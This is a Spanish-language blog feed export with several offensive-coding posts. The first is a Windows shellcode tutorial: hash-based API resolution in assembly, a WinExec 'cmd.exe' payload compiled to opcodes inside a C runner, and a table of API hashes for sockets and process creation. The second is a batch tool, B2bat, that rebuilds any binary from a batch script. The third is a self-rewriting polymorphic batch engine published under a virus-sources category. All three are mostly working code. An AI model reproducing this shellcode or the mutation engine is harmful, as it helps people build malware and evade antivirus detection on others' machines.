  mov ebp, esp
  xor edx, edx
  mov edx, [fs:edx+48] ;puntero a PEB
  mov edx, [edx+12]    ;puntero a LDR
  mov edx, [edx+20]    ;puntero al primer modulo de la lista de InMemoryOrder

next_mod:
  mov esi, [edx+40]    ;puntero al nombre de los modulos
  movzx ecx, word [edx+38] ;logitud a verficar
  xor edi, edi     

loop_modname:
  xor eax, eax
  lodsb
  cmp al, 'a'        ;el nombre del modulo esta en minuscula
  jl not_lowercase   ;lo pasamos
  sub al, 0x20       ;a mayuscula   

not_lowercase:
  ror edi, 13        ;rotamos hacia la derecha
  add edi, eax       ;el valor del hash
  loop loop_modname  ;hasta ecx=0
  push edx           ;Posicion
  push edi           ;y hash del modulo actual a pila
  mov edx, [edx+16]  ;direccion base del modulo a edx
  mov eax, [edx+60]  ;cabecera PE a eax
  add eax, edx
  mov eax, [eax+120] ;EAT a eax
  test eax, eax      ;hay EAT?
  jz get_next_mod1   ;no, siguiente modulo
  add eax, edx
  push eax           ;EAT del modulo a pila
  mov ecx, [eax+24]  ;numero de funciones del modulo a ecx
  mov ebx, [eax+32]  ;RVA de las funciones a ebx
  add ebx, edx          

get_next_func:
  jecxz get_next_mod ;si no quedan mas funciones, vamos con el siguiente modulo
  dec ecx            ;numero de la funcion - 1
  mov esi, [ebx+ecx*4]  ;RVA de la funcion a esi
  add esi, edx
  xor edi, edi           

loop_funcname:
  xor eax, eax
  lodsb           ;byte por byte del nombre de la funcion en ASCII
  ror edi, 13     ;buscamos
  add edi, eax    ;el caracter
  cmp al, ah      ;nulo que indica el final de la cadena
  jne loop_funcname ;hasta tener el hash completo de la funcion
  add edi, [ebp-8]  ;edi=hash del modulo+hash de la funcion
  cmp edi, [ebp+36] ;es la que buscamos?
  jnz get_next_func ;no, sigamos con la siguiente funcion    

  pop eax           ;EAT del modulo a eax
  mov ebx, [eax+36] ;conseguimos RVA
  add ebx, edx      ;le a?adimos la direccion base del modulo
  mov cx, [ebx+2*ecx]
  mov ebx, [eax+28]  ;RVA de la funciones a ebx
  add ebx, edx       ;le a?adimos la direccion base del modulo
  mov eax, [ebx+4*ecx] ;RVA de la funcion que queremos a eax
  add eax, edx       ;le a?adimos la direccion base del modulo y listo, en eax 

tenemos la direccion virtual de la funcion    

finish:
  mov [esp+36], eax ;viene un popad asiq salvamos eax, escribiendolo sobre el valor 

anterior
  pop ebx        ;arreglamos la pila
  pop ebx
  popad
  pop ecx
  pop edx
  push ecx
  jmp eax        ;llamamos a la funcion        

get_next_mod:
  pop eax         ;EAT del siguiente modulo a eax  

get_next_mod1:
  pop edi         ;hash del siguiente modulo a eax
  pop edx         ;posicion donde quedamos en la lista de modulos a edx
  mov edx, [edx]  ;puntero al siguiente modulo
  jmp short next_mod
  ;Harmony Security</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->Bien, ya tenemos como obtener la direccion virtual de la funcion que necesitamos llamar, probemos:</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:418px;text-align:left;margin:0;padding:6px;">[BITS 32]

  cld        ;bandera de direccion a cero
  call start ;puntero de api_call a la pila   

api_call:
 ;(...)
 ;codigo de api_call
 ;(...)

start:
  pop ebp         ;puntero de api_call a ebp      

  jmp command     ;comando a ejecutar va a pila

exec:
  push 0x876F8B31 ;hash para WinExec a pila
  call ebp        ;llamamos a api_call       

  push 0x56A2B5F0 ;hash para ExitProcess a pila
  call ebp        ;llamamos a api_call      

command:
  call exec
  db "cmd.exe ", 0</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->Bien, ya tenemos la shellcode, pasamos a Opcodes y encapsulamos en C:</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:146px;text-align:left;margin:0;padding:6px;">char code[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68\x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00";

int main()
{
	int (*func)();
	func = (int (*)()) code;
	(int)(*func)();
}</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->Funciona?</p>
<p><img src="http://img522.imageshack.us/img522/8711/p5t2.jpg" border="0" alt="" /></p>
<p>Si funciono.</p>
<p>Algunos hashes muy usados:</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:498px;text-align:left;margin:0;padding:6px;">0x006B8029, "ws2_32.dll!WSAStartup"
0xE0DF0FEA, "ws2_32.dll!WSASocketA" 

0x6737DBC2, "ws2_32.dll!bind"
0xFF38E9B7, "ws2_32.dll!listen"
0xE13BEC74, "ws2_32.dll!accept"
0x614D6E75, "ws2_32.dll!closesocket"
0x6174A599, "ws2_32.dll!connect"
0x5FC8D902, "ws2_32.dll!recv" 

0x5F38EBC2, "ws2_32.dll!send" 

0x5BAE572D, "kernel32.dll!WriteFile"
0x4FDAF6DA, "kernel32.dll!CreateFileA"
0x13DD2ED7, "kernel32.dll!DeleteFileA"
0xE449F330, "kernel32.dll!GetTempPathA"
0x528796C6, "kernel32.dll!CloseHandle" 

0x863FCC79, "kernel32.dll!CreateProcessA"
0xE553A458, "kernel32.dll!VirtualAlloc"
0x300F2F0B, "kernel32.dll!VirtualFree"
0x0726774C, "kernel32.dll!LoadLibraryA"
0x7802F749, "kernel32.dll!GetProcAddress"
0x601D8708, "kernel32.dll!WaitForSingleObject" 

0x876F8B31, "kernel32.dll!WinExec"
0x9DBD95A6, "kernel32.dll!GetVersion"
0xEA320EFE, "kernel32.dll!SetUnhandledExceptionFilter"
0x56A2B5F0, "kernel32.dll!ExitProcess"
0x0A2A1DE0, "kernel32.dll!ExitThread" 

0x6F721347, "ntdll.dll!RtlExitUserThread" 

0x23E38427, "advapi32.dll!RevertToSelf"</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->Saludos!</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/sswteam.wordpress.com/96/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/sswteam.wordpress.com/96/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/sswteam.wordpress.com/96/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/sswteam.wordpress.com/96/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/sswteam.wordpress.com/96/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/sswteam.wordpress.com/96/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/sswteam.wordpress.com/96/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/sswteam.wordpress.com/96/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/sswteam.wordpress.com/96/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/sswteam.wordpress.com/96/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sswteam.wordpress.com&blog=4167724&post=96&subd=sswteam&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://sswteam.wordpress.com/2009/09/12/creando-una-shellcode-direccion-de-kernel32-y-calls-especiales/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">lShadowl</media:title>
		</media:content>

		<media:content url="http://img527.imageshack.us/img527/149/p1t2.jpg" medium="image" />

		<media:content url="http://img156.imageshack.us/img156/6000/p2t2.jpg" medium="image" />

		<media:content url="http://img136.imageshack.us/img136/6048/p3t2.jpg" medium="image" />

		<media:content url="http://img136.imageshack.us/img136/2558/p4t2.jpg" medium="image" />

		<media:content url="http://img522.imageshack.us/img522/8711/p5t2.jpg" medium="image" />
	</item>
		<item>
		<title>:B2Bat (conversor de cualquier archivo a .bat)</title>
		<link>http://sswteam.wordpress.com/2009/09/12/b2bat-conversor-de-cualquier-archivo-a-bat/</link>
		<comments>http://sswteam.wordpress.com/2009/09/12/b2bat-conversor-de-cualquier-archivo-a-bat/#comments</comments>
		<pubDate>Sat, 12 Sep 2009 23:48:46 +0000</pubDate>
		<dc:creator>lShadowl</dc:creator>
				<category><![CDATA[Herramientas]]></category>
		<category><![CDATA[archivos]]></category>
		<category><![CDATA[B2bat]]></category>
		<category><![CDATA[bat]]></category>
		<category><![CDATA[batch]]></category>
		<category><![CDATA[binary]]></category>
		<category><![CDATA[conversor]]></category>
		<category><![CDATA[debug]]></category>
		<category><![CDATA[lShadowl]]></category>
		<category><![CDATA[The Shadow]]></category>
		<category><![CDATA[to]]></category>

		<guid isPermaLink="false">http://sswteam.wordpress.com/?p=94</guid>
		<description><![CDATA[
Código:
:: B2bat (binary to bat)
:: Author: lShadowl;The Shadow
:: Realese date:24/8/09
:: Realese version:1.0
:: Tested in Win Xp pro sp3
:: File size limit: 64kB
:: Info: Converts any file into a batch script.
:: Syntax: b2b &#60;in file&#62; &#60;out script&#62;

       @echo off
:b2b
setlocal enabledelayedexpansion&#38;&#38; set ms=%2&#38;&#38; set mos=%1
if not defined ms (echo Syntax: b2b [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sswteam.wordpress.com&blog=4167724&post=94&subd=sswteam&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:498px;text-align:left;margin:0;padding:6px;">:: B2bat (binary to bat)
:: Author: lShadowl;The Shadow
:: Realese date:24/8/09
:: Realese version:1.0
:: Tested in Win Xp pro sp3
:: File size limit: 64kB
:: Info: Converts any file into a batch script.
:: Syntax: b2b &lt;in file&gt; &lt;out script&gt;

       @echo off
:b2b
setlocal enabledelayedexpansion&amp;&amp; set ms=%2&amp;&amp; set mos=%1
if not defined ms (echo Syntax: b2b ^&lt;in file^&gt; ^&lt;out script^&gt;&amp;&amp; goto:eof) else (echo.Working...)
echo.exit|cmd/K prompt $_rcx$_$_q&gt;$
echo set cx=%%1&gt;CX.bat
debug %1&lt;$ | find "CX"&gt;_.bat&amp;&amp; call _
set/a ecx=0x100+0x%cx%
set hexstr=0123456789ABCDEF&amp;&amp; set sz=
:loop2
set/a ths=%ecx% %% 16
call :evals %%hexstr:~%ths%,1%%
if /I %ecx% GEQ 16 (set /A ecx=%ecx%/16&amp;&amp; goto:loop2) else (goto:kg)
:evals
set sz=%1%sz%&amp;&amp; goto:eof
:kg
echo.exit|cmd/K prompt $_d 100 %sz%$_q&gt;$
type $ | debug %1&gt;$.t
(echo set ff=createobject("scripting.filesystemobject"^)&amp;&amp; echo set rr=ff.opentextfile("$.t",1^)&amp;&amp; echo aa = rr.readall
echo rr.close&amp;&amp; echo r1 = Replace(aa,"&gt;",""^)&amp;&amp; echo r2 = Replace(r1,"&lt;",""^)&amp;&amp; echo r3 = Replace(r2,"&amp;",""^)
echo r4 = Replace(r3,"|",""^)&amp;&amp; echo set bb=ff.opentextfile("$.t",2^)&amp;&amp; echo bb.write r4)&gt;rp.vbs&amp;&amp; rp.vbs
for /f "tokens=1,* delims=]" %%A in ('"type $.t|find /n /v """') do (set "current=%%B"

    if defined current (call set current=!!current:-= !!&amp;&amp; echo !current!&gt;&gt;$) else echo.&gt;&gt;$)
echo.exit|cmd/K prompt $_::Script by B2bat - B2bat by lShadowl$_       @echo off$_($_echo n b2bat.&gt;%ms%
for /f "tokens=* skip=7 delims=%%a" %%a in ($) do (set csl=%%a&amp;&amp; echo echo e!csl:~5,53!&gt;&gt;%ms%)
:brk
echo exit|cmd/K prompt $_echo.$_echo rcx$_echo %sz%$_echo w$_echo q$_echo.$_)$Gda.t$A$A rem &gt;&gt;%ms%
echo.exit|cmd/K prompt $_debug$Lda.t$Gnul$_ren b2bat.exi %mos%$A$A rem &gt;&gt;%ms%
echo.Done.
goto:eof</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->Ejemplo:</p>
<p>&gt;b2b tongue.gif tongue.bat</p>
<p>Resultante:</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:498px;text-align:left;margin:0;padding:6px;">::Script by B2bat - B2bat by lShadowl
       @echo off
(
echo n b2bat.exit
echo e0100  47 49 46 38 39 61 0F 00 0F 00 D5 00 00 00 00 00
echo e0110  CC 99 00 70 66 00 52 42 00 66 66 66 EE E1 00 EC
echo e0120  D1 00 E8 BA 00 B0 69 00 23 1C 00 D6 9C 00 FF 00
echo e0130  00 86 86 86 BF A6 00 68 54 00 11 00 00 FF D6 00
echo e0140  FF FF 00 FF F8 00 32 28 00 FF E6 00 C5 9E 00 73
echo e0150  5C 00 11 10 00 26 23 00 7F 71 00 81 37 00 F0 B5
echo e0160  00 F5 C4 00 3C 00 00 CC A3 00 51 48 00 FF CC 00
echo e0170  FF F0 00 7E 6A 00 C1 74 00 E2 C8 00 C7 B3 00 FF
echo e0180  DD 00 62 5A 00 D0 B4 00 80 73 00 59 47 00 1B 16
echo e0190  00 33 33 00 EC BD 00 80 69 00 08 00 00 18 00 00
echo e01A0  7F 7C 00 56 51 00 6D 57 00 CC 99 00 E0 9E 00 79
echo e01B0  61 00 F8 CE 00 99 99 99 00 00 00 00 00 00 00 00
echo e01C0  00 00 00 00 00 00 00 00 00 00 00 00 00 21 F9 04
echo e01D0  05 14 00 38 00 2C 00 00 00 00 0F 00 0F 00 00 06
echo e01E0  A3 40 9C 10 47 18 5C 00 97 0F 61 38 64 4C 56 22
echo e01F0  94 A1 24 C0 B0 18 CD 8B E3 66 32 51 42 A1 C2 E9
echo e0200  82 C5 4D 2C 20 88 F7 2B 69 CB 58 C4 04 27 BD 6E
echo e0210  47 24 85 4B D1 06 02 89 00 19 21 29 00 31 12 21
echo e0220  27 1F 17 1E 7D 00 8D 14 8D 00 60 25 47 73 20 2E
echo e0230  00 22 14 83 29 14 14 24 48 8B 7D 10 10 01 26 01
echo e0240  0A 14 26 0D 17 03 68 20 8D 0F 00 2F 00 08 5D 32
echo e0250  03 04 72 7D 20 23 0F 0B 1D 1A 10 2D 7A 66 0E 95
echo e0260  1B 0F 30 00 23 20 2A 13 42 0C AC BB 35 23 35 07
echo e0270  2A 64 4D 13 17 33 15 2D 01 33 2B 13 65 4C 45 47
echo e0280  AC 4B 43 41 00 3B 85
echo et

echo.
echo rcx
echo 286
echo w
echo q
echo.
)&gt;da.t&amp;&amp; rem exit

debug&lt;da.t&gt;nul
ren b2bat.exi tongue.gif&amp;&amp; rem exit</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->Saludos!</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/sswteam.wordpress.com/94/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/sswteam.wordpress.com/94/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/sswteam.wordpress.com/94/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/sswteam.wordpress.com/94/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/sswteam.wordpress.com/94/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/sswteam.wordpress.com/94/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/sswteam.wordpress.com/94/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/sswteam.wordpress.com/94/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/sswteam.wordpress.com/94/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/sswteam.wordpress.com/94/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sswteam.wordpress.com&blog=4167724&post=94&subd=sswteam&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://sswteam.wordpress.com/2009/09/12/b2bat-conversor-de-cualquier-archivo-a-bat/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">lShadowl</media:title>
		</media:content>
	</item>
		<item>
		<title>Motor polimorfico para scripts batch</title>
		<link>http://sswteam.wordpress.com/2009/09/12/motor-polimorfico-para-scripts-batch/</link>
		<comments>http://sswteam.wordpress.com/2009/09/12/motor-polimorfico-para-scripts-batch/#comments</comments>
		<pubDate>Sat, 12 Sep 2009 23:39:17 +0000</pubDate>
		<dc:creator>lShadowl</dc:creator>
				<category><![CDATA[VX Sources]]></category>
		<category><![CDATA[batch]]></category>
		<category><![CDATA[lShadowl]]></category>
		<category><![CDATA[motor]]></category>
		<category><![CDATA[polimorfico]]></category>
		<category><![CDATA[polimorfismo]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[The Shadow]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://sswteam.wordpress.com/?p=91</guid>
		<description><![CDATA[
Código:
 ::Polimorphic Engine by lShadowl %ini%
  @set sdjf=fictsoehnd %ini%
  @set agnvl=%sdjf:~4,1%%sdjf:~6,1%%sdjf:~3,1% %ini%
  @%agnvl%egnkv=%sdjf:~6,1%%sdjf:~2,1%%sdjf:~7,1%%sdjf:~5,1% %ini%
  @%agnvl%fsdhf=%sdjf:~0,2%%sdjf:~8,2% %ini%
  @%egnkv%off %ini%
  @%agnvl: =%local enabledelayedexpansion %ini%
%egnkv%Mutando... %ini%
%fsdhf%"ini"&#60;%0&#62;$ %ini%
:rnd_b %ini%
call :rnd %ini%
:buc %ini%
%fsdhf%"m%r: =%"&#60;$&#62;nul %ini%
if %errorlevel%==0 goto :tst %ini%
%fsdhf%"m%r: =%"&#60;%0&#62;&#62;$ %ini%
%agnvl%/a rdnmm=%random%*9999999 %ini%
%egnkv%::%rdnmm% %%m%r: =%%%&#62;&#62;$ %ini%
:tst %ini%
%agnvl%a=1 %ini%
for /L %%a in (0,1,9) do call [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sswteam.wordpress.com&blog=4167724&post=91&subd=sswteam&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:498px;text-align:left;margin:0;padding:6px;"> ::Polimorphic Engine by lShadowl %ini%
  @set sdjf=fictsoehnd %ini%
  @set agnvl=%sdjf:~4,1%%sdjf:~6,1%%sdjf:~3,1% %ini%
  @%agnvl%egnkv=%sdjf:~6,1%%sdjf:~2,1%%sdjf:~7,1%%sdjf:~5,1% %ini%
  @%agnvl%fsdhf=%sdjf:~0,2%%sdjf:~8,2% %ini%
  @%egnkv%off %ini%
  @%agnvl: =%local enabledelayedexpansion %ini%
%egnkv%Mutando... %ini%
%fsdhf%"ini"&lt;%0&gt;$ %ini%
:rnd_b %ini%
call :rnd %ini%
:buc %ini%
%fsdhf%"m%r: =%"&lt;$&gt;nul %ini%
if %errorlevel%==0 goto :tst %ini%
%fsdhf%"m%r: =%"&lt;%0&gt;&gt;$ %ini%
%agnvl%/a rdnmm=%random%*9999999 %ini%
%egnkv%::%rdnmm% %%m%r: =%%%&gt;&gt;$ %ini%
:tst %ini%
%agnvl%a=1 %ini%
for /L %%a in (0,1,9) do call :cmp %%a %ini%
%egnkv%%a%|%fsdhf% "o"&gt;nul %ini%
if %errorlevel%==0 goto :rnd_b %ini%
for %%a in (cmp rnd) do (set a=%%a %ini%
%fsdhf%"m!a: =!"&lt;%0&gt;&gt;$) %ini%
type $&gt;%0&amp;&amp; ping -n 1 localhost&gt;nul %ini%
%egnkv%%agnvl%dfjalds=createobject("scripting.filesystemobject")&gt;asjdhau.vbs %ini%
%egnkv%%agnvl%kdflekj=dfjalds.opentextfile(%0,1)&gt;&gt;asjdhau.vbs %ini%
%egnkv%askdajs = kdflekj.readall&gt;&gt;asjdhau.vbs %ini%
%egnkv%kdflekj.close&gt;&gt;asjdhau.vbs %ini%
%egnkv%Randomize&gt;&gt;asjdhau.vbs %ini%
%egnkv%ahqiaohe = chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)&gt;&gt;asjdhau.vbs %ini%
%egnkv%jdfasuu = chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)&gt;&gt;asjdhau.vbs %ini%
%egnkv%dwudhqw = chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)&gt;&gt;asjdhau.vbs %ini%
%egnkv%asdwdkw = chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)&gt;&gt;asjdhau.vbs %ini%
%egnkv%sjdfhjs = Replace(askdajs,"sdjf",ahqiaohe)&gt;&gt;asjdhau.vbs %ini%
%egnkv%lasdaod = Replace(sjdfhjs,"agnvl",jdfasuu)&gt;&gt;asjdhau.vbs %ini%
%egnkv%skdnmxi = Replace(lasdaod,"egnkv",dwudhqw)&gt;&gt;asjdhau.vbs %ini%
%egnkv%sjsabwu = Replace(skdnmxi,"fsdhf",asdwdkw)&gt;&gt;asjdhau.vbs %ini%
%egnkv%%agnvl%skdjawuj=dfjalds.opentextfile(%0,2)&gt;&gt;asjdhau.vbs %ini%
%egnkv%skdjawuj.write sjsabwu&gt;&gt;asjdhau.vbs %ini%
asjdhau.vbs&amp;&amp; exit %ini%
:: CODIGO POLIMORFICO [INICIO] %ini%
:: %m5%
:: %m7%
:: %m6%
:: %m1%
:: %m2%
:: %m4%
:: %m9%
:: %m3%
:: %m0%
:: %m8%
:: CODIGO POLIMORFICO [FIN] %mcmp%
:cmp %mcmp%
%fsdhf%"m%1"&lt;$&gt;nul %mcmp%
if %errorlevel%==1 (%agnvl% a=%a%o %mcmp%
goto :EOF)%mcmp%
%agnvl% a=%a%x %mcmp%
goto :EOF %mcmp%
:rnd %mrnd%
%agnvl%/a r=%random%%%10 %mrnd%
goto :EOF %mrnd%</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->Para ver como funciona os pondre mis variantes del code despues de haberlo ejecutado dos veces:</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:498px;text-align:left;margin:0;padding:6px;"> ::Polimorphic Engine by lShadowl %ini%
  @set pkseh=fictsoehnd %ini%
  @set cneso=%pkseh:~4,1%%pkseh:~6,1%%pkseh:~3,1% %ini%
  @%cneso%hfdjc=%pkseh:~6,1%%pkseh:~2,1%%pkseh:~7,1%%pkseh:~5,1% %ini%
  @%cneso%vchff=%pkseh:~0,2%%pkseh:~8,2% %ini%
  @%hfdjc%off %ini%
  @%cneso: =%local enabledelayedexpansion %ini%
%hfdjc%Mutando... %ini%
%vchff%"ini"&lt;%0&gt;$ %ini%
:rnd_b %ini%
call :rnd %ini%
:buc %ini%
%vchff%"m%r: =%"&lt;$&gt;nul %ini%
if %errorlevel%==0 goto :tst %ini%
%vchff%"m%r: =%"&lt;%0&gt;&gt;$ %ini%
%cneso%/a rdnmm=%random%*9999999 %ini%
%hfdjc%::%rdnmm% %%m%r: =%%%&gt;&gt;$ %ini%
:tst %ini%
%cneso%a=1 %ini%
for /L %%a in (0,1,9) do call :cmp %%a %ini%
%hfdjc%%a%|%vchff% "o"&gt;nul %ini%
if %errorlevel%==0 goto :rnd_b %ini%
for %%a in (cmp rnd) do (set a=%%a %ini%
%vchff%"m!a: =!"&lt;%0&gt;&gt;$) %ini%
type $&gt;%0&amp;&amp; ping -n 1 localhost&gt;nul %ini%
%hfdjc%%cneso%dfjalds=createobject("scripting.filesystemobject")&gt;asjdhau.vbs %ini%
%hfdjc%%cneso%kdflekj=dfjalds.opentextfile(%0,1)&gt;&gt;asjdhau.vbs %ini%
%hfdjc%askdajs = kdflekj.readall&gt;&gt;asjdhau.vbs %ini%
%hfdjc%kdflekj.close&gt;&gt;asjdhau.vbs %ini%
%hfdjc%Randomize&gt;&gt;asjdhau.vbs %ini%
%hfdjc%ahqiaohe = chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)&gt;&gt;asjdhau.vbs %ini%
%hfdjc%jdfasuu = chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)&gt;&gt;asjdhau.vbs %ini%
%hfdjc%dwudhqw = chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)&gt;&gt;asjdhau.vbs %ini%
%hfdjc%asdwdkw = chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)&gt;&gt;asjdhau.vbs %ini%
%hfdjc%sjdfhjs = Replace(askdajs,"pkseh",ahqiaohe)&gt;&gt;asjdhau.vbs %ini%
%hfdjc%lasdaod = Replace(sjdfhjs,"cneso",jdfasuu)&gt;&gt;asjdhau.vbs %ini%
%hfdjc%skdnmxi = Replace(lasdaod,"hfdjc",dwudhqw)&gt;&gt;asjdhau.vbs %ini%
%hfdjc%sjsabwu = Replace(skdnmxi,"vchff",asdwdkw)&gt;&gt;asjdhau.vbs %ini%
%hfdjc%%cneso%skdjawuj=dfjalds.opentextfile(%0,2)&gt;&gt;asjdhau.vbs %ini%
%hfdjc%skdjawuj.write sjsabwu&gt;&gt;asjdhau.vbs %ini%
asjdhau.vbs&amp;&amp; exit %ini%
:: CODIGO POLIMORFICO [INICIO] %ini%
:: %m5%
::-1313031124 %m5%
:: %m1%
::2020451641 %m1%
:: %m8%
::-1739870728 %m8%
:: %m7%
::-443934897 %m7%
:: %m3%
::-1117740673 %m3%
:: %m2%
::-888192539 %m2%
:: %m0%
::1245290346 %m0%
:: %m6%
::-1909547966 %m6%
:: %m4%
::-1847546953 %m4%
:: %m9%
::191549157 %m9%
:: CODIGO POLIMORFICO [FIN] %mcmp%
:cmp %mcmp%
%vchff%"m%1"&lt;$&gt;nul %mcmp%
if %errorlevel%==1 (%cneso% a=%a%o %mcmp%
goto :EOF)%mcmp%
%cneso% a=%a%x %mcmp%
goto :EOF %mcmp%
:rnd %mrnd%
%cneso%/a r=%random%%%10 %mrnd%
goto :EOF %mrnd%</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code --></p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:498px;text-align:left;margin:0;padding:6px;"> ::Polimorphic Engine by lShadowl %ini%
  @set kjefv=fictsoehnd %ini%
  @set eiotf=%kjefv:~4,1%%kjefv:~6,1%%kjefv:~3,1% %ini%
  @%eiotf%gugip=%kjefv:~6,1%%kjefv:~2,1%%kjefv:~7,1%%kjefv:~5,1% %ini%
  @%eiotf%mgvmh=%kjefv:~0,2%%kjefv:~8,2% %ini%
  @%gugip%off %ini%
  @%eiotf: =%local enabledelayedexpansion %ini%
%gugip%Mutando... %ini%
%mgvmh%"ini"&lt;%0&gt;$ %ini%
:rnd_b %ini%
call :rnd %ini%
:buc %ini%
%mgvmh%"m%r: =%"&lt;$&gt;nul %ini%
if %errorlevel%==0 goto :tst %ini%
%mgvmh%"m%r: =%"&lt;%0&gt;&gt;$ %ini%
